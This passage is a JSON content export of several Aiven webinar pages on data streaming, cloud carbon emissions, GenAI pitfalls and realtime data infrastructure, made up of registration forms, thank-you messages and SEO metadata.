model"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"04f582ccda92","_type":"block","children":[{"_key":"fc8a13b7777d0","_type":"span","marks":[],"text":"We'll also cover real-life examples of organizations that have gained better control over their data infrastructure while reducing overall Kafka costs and provide a forum for an interactive dialogue based on the material presented."}],"markDefs":[],"style":"normal"}],"summary":"Transform your data strategy: Gain actionable insights on modern data streaming platforms, pipeline optimization, and cost efficiency. Register now!","thankyouContent":[{"_key":"1ed90b5f8188","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Aiven Webinar","text":[{"_key":"09584a3a3f0a","_type":"block","children":[{"_key":"4ac6a7a26650","_type":"span","marks":[],"text":"You can watch the webinar "},{"_key":"b363c49d0f16","_type":"span","marks":["strong"],"text":"The Evolving Building Blocks of Data Streaming"},{"_key":"15c3e36109cb","_type":"span","marks":[],"text":". We hope you enjoy the session!"}],"markDefs":[],"style":"normal"}],"title":"Thank you for your interest! ","topOverlap":false,"variant":"mediaRight","ytId":"m0BeF7GCYuQ"}],"title":"The Evolving Building Blocks of Data Streaming"},"publishedAt":"2024-04-18T17:00:00.000Z","resourceTag":{"contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"5c72c5aac5bc","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Join our webinar for expert insights on modern data streaming. Reframe your approach and make the strategic leap you've been seeking.\n","metaImage":{"_type":"mainImage","alt":"The Evolving Building Blocks of Data Streaming","asset":{"_ref":"image-0411035aeacfd492ac91b56dff85e21eccf112e9-2500x1313-jpg","_type":"reference"}},"metaTitle":"Webinar | The Evolving Building Blocks of Data Streaming"},"slug":{"_type":"slug","current":"/webinar/the-evolving-building-blocks-of-data-streaming"}} {"__i18n_lang":"en","_createdAt":"2024-04-30T13:16:30Z","_id":"d06e575e-96dc-4b73-864b-b1bd43b21c74","_rev":"lI1OMJNS7f9WP80VhdoDi4","_type":"webinar","_updatedAt":"2024-04-30T13:46:48Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"a83a0841a1a1","_ref":"221ba44a-9a77-4ee5-a883-63cdfb045660","_type":"reference"},{"_key":"10b01d03eceb","_ref":"a0816dd6-62f2-4db1-af43-06d23379bd95","_type":"reference"},{"_key":"f4d186ab3d10","_ref":"88867ca3-b103-49b4-ac3c-f52d01dd1ac1","_type":"reference"},{"_key":"aa14c4fc981f","_ref":"7eab2173-a9de-4996-b2ce-abc03d85a1e5","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"withBio"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":600,"iframeSource":"https://go.aiven.io/l/890043/2023-12-18/tf825","title":"Register to discover the latest product updates and features in the Aiven Platform"},"subtitle":[{"_key":"3473043b53ce","_type":"block","children":[{"_key":"5ce03669d95f0","_type":"span","marks":[],"text":"Did you know that the tech sector is responsible for around the same volume of "},{"_key":"5ce03669d95f1","_type":"span","marks":["strong"],"text":"carbon emissions"},{"_key":"5ce03669d95f2","_type":"span","marks":[],"text":" as the aviation industry? Cloud computing relies on large data centers and data transmission networks, making it one of the leading sources of energy and carbon emissions in tech. Moreover, challenges surrounding the "},{"_key":"5ce03669d95f3","_type":"span","marks":["strong"],"text":"reliability and accessibility of accurate cloud emissions data"},{"_key":"5ce03669d95f4","_type":"span","marks":[],"text":" complicate the management of such data alongside inclusive climate action. Aiven and Thoughtworks are driving a vision to tackle this issue head-on. In this live webinar, our expert panelists from "},{"_key":"5ce03669d95f5","_type":"span","marks":["strong"],"text":"Aiven"},{"_key":"5ce03669d95f6","_type":"span","marks":[],"text":" and "},{"_key":"5ce03669d95f7","_type":"span","marks":["strong"],"text":"Thoughtworks"},{"_key":"5ce03669d95f8","_type":"span","marks":[],"text":" elaborate on these key topics:"}],"markDefs":[],"style":"normal"},{"_key":"523d3299c957","_type":"block","children":[{"_key":"bdd3bc2a2c000","_type":"span","marks":[],"text":"Cloud emissions and corporate sustainability"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9fef18c5c9b","_type":"block","children":[{"_key":"1f1a786bc4440","_type":"span","marks":[],"text":"Cloud Carbon Footprint (CCF) and methodology"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a12f1dbd817d","_type":"block","children":[{"_key":"3f6d8d191cba0","_type":"span","marks":[],"text":"Aiven's solution built to measure and visualize emissions, and its potential to optimize cloud infrastructure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"739a43c1bb10","_type":"block","children":[{"_key":"226ec5524cce0","_type":"span","marks":[],"text":"Join us for this exciting virtual panel discussion, learn more about Aiven's solution that leverages Thoughtworks’ CCF methodology, and explore how this solution can assist you in effectively "},{"_key":"226ec5524cce3","_type":"span","marks":["strong"],"text":"managing your cloud emissions."},{"_key":"226ec5524cce4","_type":"span","marks":[],"text":" Find out how your company can join our mission, and let’s embark on this journey together!"}],"markDefs":[],"style":"normal"}],"summary":"Discover how Aiven and Thoughtworks address tech's carbon footprint. Join our webinar on cloud emissions, sustainability, and innovative solutions.","thankyouContent":[{"_key":"97b2adb1f19d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"9c4483be7049","_type":"block","children":[{"_key":"0c8dc81711e0","_type":"span","marks":[],"text":"Thank you for registering for the webinar "},{"_key":"9100550809d3","_type":"span","marks":["strong"],"text":"What’s new with Aiven Q4 2023 - Q1 2024: Latest product updates and features in the Aiven Platform"},{"_key":"5ed523aa871f","_type":"span","marks":[],"text":". You will get an email confirmation soon."}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering","variant":"oneColumn"},{"_key":"d5e36a8703fc","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"text":[{"_key":"4aa53c6f69f9","_type":"block","children":[{"_key":"0363be47db0e","_type":"span","marks":[],"text":"We provide a free 30-day trial, give you $300 credit to play with, and unrestricted access to our complete range of open source services."}],"markDefs":[],"style":"normal"},{"_key":"ecec3338fb05","_type":"block","children":[{"_key":"9b05a1bc685e","_type":"span","marks":[],"text":"When you’ve finished the trial period, you only pay for what you use. There are no hidden charges, and you can shut down and spin up clusters, add services, or change providers at the click of a button."}],"markDefs":[],"style":"normal"}],"title":"Everything you need – for free","variant":"mediaLeft","ytId":"FJxVeA5ORY0"}],"title":"Managing cloud carbon emissions – A joint initiative by Aiven and Thoughtworks","ytId":"a75Z55OQfWY"},"publishedAt":"2024-04-18T15:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"686868e16f31","_ref":"549c79c6-5fa3-46c6-9f90-a0255825ddab","_type":"tag"},{"_key":"8ffb1934314e","_ref":"7f1cc870-dac8-4021-b5e0-0067d7aa5d95","_type":"tag"},{"_key":"6a9cda72790a","_ref":"2d571168-1d6e-4f13-bbff-c084f310b3c9","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Discover how Aiven and Thoughtworks address tech's carbon footprint. Join our webinar on cloud emissions, sustainability, and innovative solutions.","metaImage":{"_type":"mainImage","alt":"Webinar: Managing cloud carbon emissions - A joint initiative by Aiven and Thoughtworks","asset":{"_ref":"image-e72ca57c749520f0bcd6edf9361a8d18f28c10c2-1920x1080-png","_type":"reference"}},"metaTitle":"Managing cloud carbon emissions – Aiven and Thoughtworks"},"slug":{"_type":"slug","current":"/webinar/managing-cloud-carbon-emissions-by-aiven-and-thoughtworks"}} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"434fa742-3982-4074-a939-689d06e1b77f__i18n_de","_type":"reference"}],"_createdAt":"2024-08-14T19:29:46Z","_id":"434fa742-3982-4074-a939-689d06e1b77f","_rev":"BFa84xURlgVka4s8tWjqJF","_type":"webinar","_updatedAt":"2024-11-07T10:17:54Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"86192c050dfa","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"d046f9f84b26","_ref":"a2bf896d-f256-4f98-af02-55de53dc61a8","_type":"reference"},{"_key":"75ffb60ebfa6","_ref":"eb53a905-c13a-43b1-8b3d-0a79cd8f8243","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"About the speakers","variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioEventId":"9JnheTq7x1M8Egde","demioSubmitText":"Register","title":"Secure Your Spot"},"downloadText":"Watch Now","hasVideo":true,"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-05-22/ty8kl","title":"Watch the recording"},"registrationType":"iframe","subtitle":[{"_key":"48a7635080b3","_type":"block","children":[{"_key":"bf18bbef58af0","_type":"span","marks":[],"text":"Are you ready to supercharge your Generative AI strategy? Join Aiven and Google Cloud for an engaging webinar where we reveal three critical pitfalls that can hinder your success—and how to avoid them."}],"markDefs":[],"style":"normal"},{"_key":"d8fb999b2c97","_type":"block","children":[{"_key":"c70b0d2bfe1b0","_type":"span","marks":["strong"],"text":"You will learn:"}],"markDefs":[],"style":"normal"},{"_key":"932ceebb45bd","_type":"block","children":[{"_key":"fa2b0d8b29aa0","_type":"span","marks":["strong"],"text":"Understanding AI: Beyond the Hype"}],"markDefs":[],"style":"normal"},{"_key":"405a24d668a1","_type":"block","children":[{"_key":"64abab92a83c0","_type":"span","marks":[],"text":"Insights into the latest trends and business applications of Generative AI."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5ee2be02afce","_type":"block","children":[{"_key":"9e3054ac9f160","_type":"span","marks":[],"text":"Navigating common misconceptions and confusions surrounding AI."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8c6313f12978","_type":"block","children":[{"_key":"987aaec9e7040","_type":"span","marks":["strong"],"text":"Pitfall #1: Avoiding Generative AI Hallucination"}],"markDefs":[],"style":"normal"},{"_key":"9eaf2540ae4c","_type":"block","children":[{"_key":"39afa488bffe0","_type":"span","marks":[],"text":"Learn about Retrieval-Augmented Generation (RAG) and its impact."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5d05930ae411","_type":"block","children":[{"_key":"8985552eb7840","_type":"span","marks":["strong"],"text":"Pitfall #2: Breaking Down Data Silos"}],"markDefs":[],"style":"normal"},{"_key":"1b3ef3779d0e","_type":"block","children":[{"_key":"ceef5f8544520","_type":"span","marks":[],"text":"Discover the power of a Multi-cloud approach to tackle data challenges."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ccd5b46d7185","_type":"block","children":[{"_key":"db6ae399498d0","_type":"span","marks":["strong"],"text":"Pitfall #3: Enhancing model performance and scalability"}],"markDefs":[],"style":"normal"},{"_key":"b2ddd6a0b861","_type":"block","children":[{"_key":"491c261047690","_type":"span","marks":[],"text":"Delve into the importance of model performance and how Aiven AI Database Optimizer enhances scalability and efficiency in AI application development"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"On-Demand Webinar: Engineering a Robust GenAI Strategy: 3 Critical Pitfalls to Avoid","thankyouContent":[{"_key":"ac6f4838d208","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"mediaWidth":"w-full","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"c683ab2ded48","_type":"block","children":[{"_key":"65b90d82776d0","_type":"span","marks":[],"text":"Thank you for your interest! Watch the \"Build to scale with Aiven!\" webinar here. Learn how to scale apps quickly and discover strategies to leverage flexibility and cost advantages across the clouds."}],"markDefs":[],"style":"normal"}],"title":"Watch now: Evolve and scale your apps with AI and caching strategies","topOverlap":false,"variant":"mediaRight","ytId":"QHot2NzH_wg"}],"title":"Engineering a Robust GenAI Strategy: 3 Critical Pitfalls to Avoid","ytId":"45pC__U2Bgo"},"publishedAt":"2024-08-14T16:00:00.000Z","resourceTag":{"contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"64b5e8250b36","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"8cbe0405303b","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"On-Demand Webinar: Engineering a Robust GenAI Strategy: 3 Critical Pitfalls to Avoid","metaImage":{"_type":"mainImage","alt":"Engineering a Robust GenAI Strategy: 3 Critical Pitfalls to Avoid","asset":{"_ref":"image-7e1900f921bb39d9618fa8f5c272786423c64a6a-2500x1308-png","_type":"reference"}},"metaTitle":"Engineering a Robust GenAI Strategy"},"slug":{"_type":"slug","current":"/webinar/engineering-robust-genai-strategy"}} {"__i18n_lang":"en","_createdAt":"2024-02-05T23:30:57Z","_id":"4c3bde5b-3572-46c5-bbc9-77bc6475bc4f","_rev":"jvX45fVrMTONcXvY1qyIBQ","_type":"webinar","_updatedAt":"2024-10-10T13:07:48Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"4b7858a26515","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"98ffd11c436f","_ref":"7973a69c-4582-41de-906f-5f5fd31f4d9c","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b","showProfilePage":false,"variant":"withBio"},{"_key":"7163461869c8","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-none","text":[{"_key":"36183f046b29","_type":"block","children":[{"_key":"8999b3d0f0cc","_type":"span","marks":[],"text":"Transform your business and save precious time with our 30-minute live demo, tailored to your specific needs."}],"markDefs":[],"style":"normal"},{"_key":"9a426692b676","_type":"block","children":[{"_key":"4c51f5940052","_type":"span","marks":[],"text":"Expert guidance: Access targeted advice from a business infrastructure specialist."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d203015852b6","_type":"block","children":[{"_key":"bd21b7bbcdb1","_type":"span","marks":[],"text":"Project support: Discover how Aiven platform can boost your projects."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Book your personalized demo today","variant":"mediaLeft"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-10-24/t7x7b","title":"Don't miss out. Register now to secure your spot."},"subtitle":[{"_key":"f72d26fe37b4","_type":"block","children":[{"_key":"64630a72add70","_type":"span","marks":[],"text":"Realtime demands come from decision-making especially in scenarios involving human interactions. Reducing latency in decision-making is key and failure to provide timely recommendations or actions can lead to negative user experiences and trust issues."}],"markDefs":[],"style":"normal"},{"_key":"eadf04ccf5dd","_type":"block","children":[{"_key":"fe1d6ee2d544","_type":"span","marks":[],"text":"Watch this video and uncover: "}],"markDefs":[],"style":"normal"},{"_key":"91f57ca02f1f","_type":"block","children":[{"_key":"fc06f2f8104b0","_type":"span","marks":[],"text":"the challenges of realtime decision-making in decentralised applications"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"69d9b6ea64a2","_type":"block","children":[{"_key":"8f67fbbdf2d5","_type":"span","marks":[],"text":"why trust is crucial in decentralised systems, despite the term \"trustless\" being associated with blockchain networks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"80dd0b9eafcd","_type":"block","children":[{"_key":"281eabb95515","_type":"span","marks":[],"text":"how to address these challenges with the use of open source tools for handling large amounts of data, running tasks and streaming jobs in realtime"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Realtime demands come from decision making. Whether this is ordering food or picking the next movie, services that can't meet user demand at speed are going to deliver a bad experience. How do we fix this? Data!","thankyouContent":[{"_key":"5d72c7794885","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"Find out what OpenSearch is like with Aiven.","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Aiven for OpenSearch"},"roundedCorners":"rounded-none","subtitle":[{"_key":"f8a060886f25","_type":"block","children":[{"_key":"3b46db14baa70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ae932c25465b","_type":"image","asset":{"_ref":"image-4eaf9b84bb083d96ac77029e8258303d8aedfb6a-1200x450-png","_type":"reference"}},{"_key":"080ea8997ed3","_type":"block","children":[{"_key":"4e284f4ad146","_type":"span","marks":[],"text":"We are happy to have you on board and excited to dive into OpenSearch with you. "}],"markDefs":[],"style":"normal"},{"_key":"8ab213cf9f6b","_type":"block","children":[{"_key":"dd9e2d057230","_type":"span","marks":[],"text":"You will receive a confirmation email shortly. "},{"_key":"965c162de90f","_type":"span","marks":["strong"],"text":"Keep an eye on your inbox and in your spam folder"},{"_key":"4bb3570e96b0","_type":"span","marks":[],"text":" 👀. "}],"markDefs":[],"style":"normal"},{"_key":"35a0023a6272","_type":"block","children":[{"_key":"062654a752940","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"22d56c033ad6","_type":"block","children":[{"_key":"66d36e796b2e","_type":"span","marks":["strong"],"text":"Add to your calendar: "},{"_key":"9325ebdcaa9b","_type":"span","marks":["c33ded91bbbe"],"text":"Google Calendar "},{"_key":"944340ded80b","_type":"span","marks":[],"text":"| "},{"_key":"f03c16c567ab","_type":"span","marks":["317a17353ef8"],"text":"Microsoft Outlook"}],"markDefs":[{"_key":"c33ded91bbbe","_type":"link","href":"https://go.aiven.io/opensearchwebinar"},{"_key":"317a17353ef8","_type":"link","href":"https://go.aiven.io/opensearchwebinar-ics"}],"style":"normal"},{"_key":"8de191710019","_type":"block","children":[{"_key":"14c542778466","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"25d25e35bd2c","_type":"block","children":[{"_key":"73ec0d0083d8","_type":"span","marks":[],"text":"If you know anyone who want to learn about OpenSearch,"},{"_key":"926dd0e18abe","_type":"span","marks":["strong"],"text":" "},{"_key":"3bcb896e1eac","_type":"span","marks":["strong","c674eed1f1b9"],"text":"share this link "},{"_key":"5058e9294618","_type":"span","marks":[],"text":"with them too. The more, the merrier!"}],"markDefs":[{"_key":"c674eed1f1b9","_type":"link","href":"https://aiven.io/webinar/aiven-for-opensearch-on-gcp"}],"style":"normal"},{"_key":"87c09322bda0","_type":"block","children":[{"_key":"7e2678c53c6d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d0e91c242b1f","_type":"block","children":[{"_key":"2ed649600690","_type":"span","marks":[],"text":"See you there. "}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering!","variant":"oneColumn"}],"title":"Making realtime decentralised decisions with data","ytId":"TwEUnplH65Y"},"publishedAt":"2023-12-07T00:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"bc818b0ae5e2","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"d562f82e9df4","_ref":"93c20c71-9946-4b71-8994-1d7f14da79a8","_type":"tag"},{"_key":"4bd56ff89987","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"3ae2ff7ac7da","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Real-time demands come from decision making. Whether this is ordering food or picking the next movie, services that can't meet user demand at speed are going to deliver a bad experience. How do we fix this? Data! Watch the video. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ccbb60433f76aedf400d54b63786dc138a87b033-1200x628-png","_type":"reference"}},"metaTitle":"Webinar: Making Realtime Decentralised Decisions with Data"},"slug":{"_type":"slug","current":"/webinar/making-realtime-decentralised-decisions-with-data"}} {"__i18n_lang":"en","_createdAt":"2024-02-06T00:46:16Z","_id":"576c7e63-5e35-4830-9ef1-83e8c71244e2","_rev":"exgZYl4YMpSEzTrzwsOoWW","_type":"webinar","_updatedAt":"2024-10-10T13:08:08Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"4b7858a26515","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"98ffd11c436f","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b","showProfilePage":false,"variant":"withBio"},{"_key":"cb84cdc3e94a","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-none","text":[{"_key":"b195775f0187","_type":"block","children":[{"_key":"776d9c0c8ef3","_type":"span","marks":[],"text":"Transform your business and save precious time with our 30-minute live demo, tailored to your specific needs."}],"markDefs":[],"style":"normal"},{"_key":"f04cbe0a0e41","_type":"block","children":[{"_key":"4da211e658fc","_type":"span","marks":[],"text":"Expert guidance: Access targeted advice from a business infrastructure specialist."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"28a049b086b6","_type":"block","children":[{"_key":"22b692393df4","_type":"span","marks":[],"text":"Project support: Discover how Aiven platform can boost your projects."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Book your personalized demo today","variant":"mediaLeft"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-10-24/t7x7b","title":"Don't miss out. Register now to secure your spot."},"subtitle":[{"_key":"944f26092716","_type":"block","children":[{"_key":"d35070e79d020","_type":"span","marks":[],"text":"In just 30 minutes, learn how to build a robust and production-ready data infrastructure using open-source products. "}],"markDefs":[],"style":"normal"},{"_key":"369decf01b85","_type":"block","children":[{"_key":"984d80602fe0","_type":"span","marks":[],"text":"Join us as we dive into the importance of data and its various functionalities, from persistence to caching, processing, and streaming. Our software developer will guide you through the complexities of setting up a caching infrastructure, discussing key decisions like implementation, hosting, reliability, and scalability. "}],"markDefs":[],"style":"normal"},{"_key":"298db2af92fc","_type":"block","children":[{"_key":"cea10ae43c1f","_type":"span","marks":[],"text":"Discover the challenges of managing multiple components for different projects and imagine a unified platform that simplifies access management, backups, disaster recovery, security updates, monitoring, cost optimisation, and scaling. "}],"markDefs":[],"style":"normal"}],"summary":"In just 30 minutes, learn how to build a robust and production-ready data infrastructure using open-source products and Elevate your data capabilities with Aiven – where all your data needs come together in one streamlined platform.","thankyouContent":[{"_key":"5d72c7794885","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"Find out what OpenSearch is like with Aiven.","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Aiven for OpenSearch"},"roundedCorners":"rounded-none","subtitle":[{"_key":"f8a060886f25","_type":"block","children":[{"_key":"3b46db14baa70","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ae932c25465b","_type":"image","asset":{"_ref":"image-4eaf9b84bb083d96ac77029e8258303d8aedfb6a-1200x450-png","_type":"reference"}},{"_key":"080ea8997ed3","_type":"block","children":[{"_key":"4e284f4ad146","_type":"span","marks":[],"text":"We are happy to have you on board and excited to dive into OpenSearch with you. "}],"markDefs":[],"style":"normal"},{"_key":"8ab213cf9f6b","_type":"block","children":[{"_key":"dd9e2d057230","_type":"span","marks":[],"text":"You will receive a confirmation email shortly. "},{"_key":"965c162de90f","_type":"span","marks":["strong"],"text":"Keep an eye on your inbox and in your spam folder"},{"_key":"4bb3570e96b0","_type":"span","marks":[],"text":" 👀. "}],"markDefs":[],"style":"normal"},{"_key":"35a0023a6272","_type":"block","children":[{"_key":"062654a752940","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"22d56c033ad6","_type":"block","children":[{"_key":"66d36e796b2e","_type":"span","marks":["strong"],"text":"Add to your calendar: "},{"_key":"9325ebdcaa9b","_type":"span","marks":["c33ded91bbbe"],"text":"Google Calendar "},{"_key":"944340ded80b","_type":"span","marks":[],"text":"| "},{"_key":"f03c16c567ab","_type":"span","marks":["317a17353ef8"],"text":"Microsoft Outlook"}],"markDefs":[{"_key":"c33ded91bbbe","_type":"link","href":"https://go.aiven.io/opensearchwebinar"},{"_key":"317a17353ef8","_type":"link","href":"https://go.aiven.io/opensearchwebinar-ics"}],"style":"normal"},{"_key":"8de191710019","_type":"block","children":[{"_key":"14c542778466","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"25d25e35bd2c","_type":"block","children":[{"_key":"73ec0d0083d8","_type":"span","marks":[],"text":"If you know anyone who want to learn about OpenSearch,"},{"_key":"926dd0e18abe","_type":"span","marks":["strong"],"text":" "},{"_key":"3bcb896e1eac","_type":"span","marks":["strong","c674eed1f1b9"],"text":"share this link "},{"_key":"5058e9294618","_type":"span","marks":[],"text":"with them too. The more, the merrier!"}],"markDefs":[{"_key":"c674eed1f1b9","_type":"link","href":"https://aiven.io/webinar/aiven-for-opensearch-on-gcp"}],"style":"normal"},{"_key":"87c09322bda0","_type":"block","children":[{"_key":"7e2678c53c6d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"d0e91c242b1f","_type":"block","children":[{"_key":"2ed649600690","_type":"span","marks":[],"text":"See you there. "}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering!","variant":"oneColumn"}],"title":"Set up your data streaming infrastructure in 30 minutes","ytId":"halORYJ5uek"},"publishedAt":"2023-12-21T00:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"bc818b0ae5e2","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"98b46791fd9b","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"477a81812754","_ref":"7f1cc870-dac8-4021-b5e0-0067d7aa5d95","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"In just 30 minutes, learn how to build a robust and production-ready data infrastructure using open-source products and Elevate your data capabilities with Aiven – where all your data needs come together in one streamlined platform.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5f20e9c31345e4674352e68a46da0a016477722a-1200x628-png","_type":"reference"}},"metaTitle":"Webinar: Set up your data streaming infrastructure in 30 miutSet up your data streaming infrastructure in 30 minnutes"},"slug":{"_type":"slug","current":"/webinar/set-up-your-data-streaming-infrastructure-in-30-minutes"}} 